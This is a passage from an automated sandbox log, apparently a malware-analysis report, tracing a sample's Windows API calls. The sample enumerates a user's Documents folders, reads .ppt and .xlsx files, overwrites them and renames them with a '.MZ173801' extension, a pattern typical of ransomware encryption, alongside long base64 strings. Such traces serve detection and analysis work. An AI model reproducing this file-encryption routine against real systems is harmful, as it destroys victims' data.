(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\sokgprwly.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.827] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.827] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.827] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xd094 [0124.828] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.828] ReadFile (in: hFile=0x294, lpBuffer=0x714510, nNumberOfBytesToRead=0xd094, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xd094, lpOverlapped=0x0) returned 1 [0124.831] CloseHandle (hObject=0x294) returned 1 [0124.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\soKgPrwly.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\sokgprwly.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.833] WriteFile (in: hFile=0x294, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xd094, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f6d0*=0xd094, lpOverlapped=0x0) returned 1 [0124.835] CloseHandle (hObject=0x294) returned 1 [0124.836] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\soKgPrwly.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\sokgprwly.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\soKgPrwly.ppt.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\sokgprwly.ppt.mz173801")) returned 1 [0124.836] GetCurrentThreadId () returned 0x9fc [0124.836] GetCurrentThreadId () returned 0x9fc [0124.836] GetCurrentThreadId () returned 0x9fc [0124.837] GetCurrentThreadId () returned 0x9fc [0124.837] GetCurrentThreadId () returned 0x9fc [0124.837] GetCurrentThreadId () returned 0x9fc [0124.837] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfb4a230, ftCreationTime.dwHighDateTime=0x1d5e12c, ftLastAccessTime.dwLowDateTime=0x5276e9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0cd, ftLastWriteTime.dwLowDateTime=0x5276e9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="VS9E98FuPzAd", cAlternateFileName="VS9E98~1")) returned 1 [0124.837] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f500, ftCreationTime.dwHighDateTime=0x1d5d974, ftLastAccessTime.dwLowDateTime=0x2b611210, ftLastAccessTime.dwHighDateTime=0x1d5e1c0, ftLastWriteTime.dwLowDateTime=0x2b611210, ftLastWriteTime.dwHighDateTime=0x1d5e1c0, nFileSizeHigh=0x0, nFileSizeLow=0x45a1, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="WgTFso5.odt", cAlternateFileName="")) returned 1 [0124.837] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.837] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.837] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d0c4c0, ftCreationTime.dwHighDateTime=0x1d5d9fe, ftLastAccessTime.dwLowDateTime=0x512b5780, ftLastAccessTime.dwHighDateTime=0x1d5e535, ftLastWriteTime.dwLowDateTime=0x512b5780, ftLastWriteTime.dwHighDateTime=0x1d5e535, nFileSizeHigh=0x0, nFileSizeLow=0x15791, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_QGlcVYKYQv4WkAR3e5.odp", cAlternateFileName="_QGLCV~1.ODP")) returned 1 [0124.837] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.837] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.837] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d0c4c0, ftCreationTime.dwHighDateTime=0x1d5d9fe, ftLastAccessTime.dwLowDateTime=0x512b5780, ftLastAccessTime.dwHighDateTime=0x1d5e535, ftLastWriteTime.dwLowDateTime=0x512b5780, ftLastWriteTime.dwHighDateTime=0x1d5e535, nFileSizeHigh=0x0, nFileSizeLow=0x15791, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_QGlcVYKYQv4WkAR3e5.odp", cAlternateFileName="_QGLCV~1.ODP")) returned 0 [0124.837] GetLastError () returned 0x12 [0124.837] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0124.837] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c8796a0, ftCreationTime.dwHighDateTime=0x1d5d8a5, ftLastAccessTime.dwLowDateTime=0x9b41dc40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b41dc40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0124.837] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0124.837] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.837] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c8796a0, ftCreationTime.dwHighDateTime=0x1d5d8a5, ftLastAccessTime.dwLowDateTime=0x9b41dc40, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b41dc40, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.837] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.837] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.837] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90f8070, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x6846ee80, ftLastAccessTime.dwHighDateTime=0x1d5e6f6, ftLastWriteTime.dwLowDateTime=0x6846ee80, ftLastWriteTime.dwHighDateTime=0x1d5e6f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="6qa-y", cAlternateFileName="")) returned 1 [0124.837] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.838] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90f8070, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x6846ee80, ftLastAccessTime.dwHighDateTime=0x1d5e6f6, ftLastWriteTime.dwLowDateTime=0x6846ee80, ftLastWriteTime.dwHighDateTime=0x1d5e6f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0124.838] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90f8070, ftCreationTime.dwHighDateTime=0x1d5da99, ftLastAccessTime.dwLowDateTime=0x6846ee80, ftLastAccessTime.dwHighDateTime=0x1d5e6f6, ftLastWriteTime.dwLowDateTime=0x6846ee80, ftLastWriteTime.dwHighDateTime=0x1d5e6f6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.838] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb75500, ftCreationTime.dwHighDateTime=0x1d5dafb, ftLastAccessTime.dwLowDateTime=0x8ab4b270, ftLastAccessTime.dwHighDateTime=0x1d5e6fd, ftLastWriteTime.dwLowDateTime=0x8ab4b270, ftLastWriteTime.dwHighDateTime=0x1d5e6fd, nFileSizeHigh=0x0, nFileSizeLow=0x7971, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="1n-q56s0pDc.xlsx", cAlternateFileName="1N-Q56~1.XLS")) returned 1 [0124.838] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0124.838] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\1n-q56s0pDc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\1n-q56s0pdc.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb75500, ftCreationTime.dwHighDateTime=0x1d5dafb, ftLastAccessTime.dwLowDateTime=0x8ab4b270, ftLastAccessTime.dwHighDateTime=0x1d5e6fd, ftLastWriteTime.dwLowDateTime=0x8ab4b270, ftLastWriteTime.dwHighDateTime=0x1d5e6fd, nFileSizeHigh=0x0, nFileSizeLow=0x7971)) returned 1 [0124.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.841] GetCurrentThreadId () returned 0x9fc [0124.841] GetCurrentThreadId () returned 0x9fc [0124.841] GetCurrentThreadId () returned 0x9fc [0124.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.842] GetCurrentThreadId () returned 0x9fc [0124.842] GetCurrentThreadId () returned 0x9fc [0124.842] GetCurrentThreadId () returned 0x9fc [0124.842] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\1n-q56s0pDc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\1n-q56s0pdc.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.842] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.842] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.842] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x7971 [0124.842] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.842] ReadFile (in: hFile=0x298, lpBuffer=0x714510, nNumberOfBytesToRead=0x7971, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x7971, lpOverlapped=0x0) returned 1 [0124.843] CloseHandle (hObject=0x298) returned 1 [0124.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\1n-q56s0pDc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\1n-q56s0pdc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.846] WriteFile (in: hFile=0x298, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x7971, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f404*=0x7971, lpOverlapped=0x0) returned 1 [0124.847] CloseHandle (hObject=0x298) returned 1 [0124.848] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\1n-q56s0pDc.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\1n-q56s0pdc.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\1n-q56s0pDc.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\1n-q56s0pdc.xlsx.mz173801")) returned 1 [0124.848] GetCurrentThreadId () returned 0x9fc [0124.848] GetCurrentThreadId () returned 0x9fc [0124.848] GetCurrentThreadId () returned 0x9fc [0124.848] GetCurrentThreadId () returned 0x9fc [0124.848] GetCurrentThreadId () 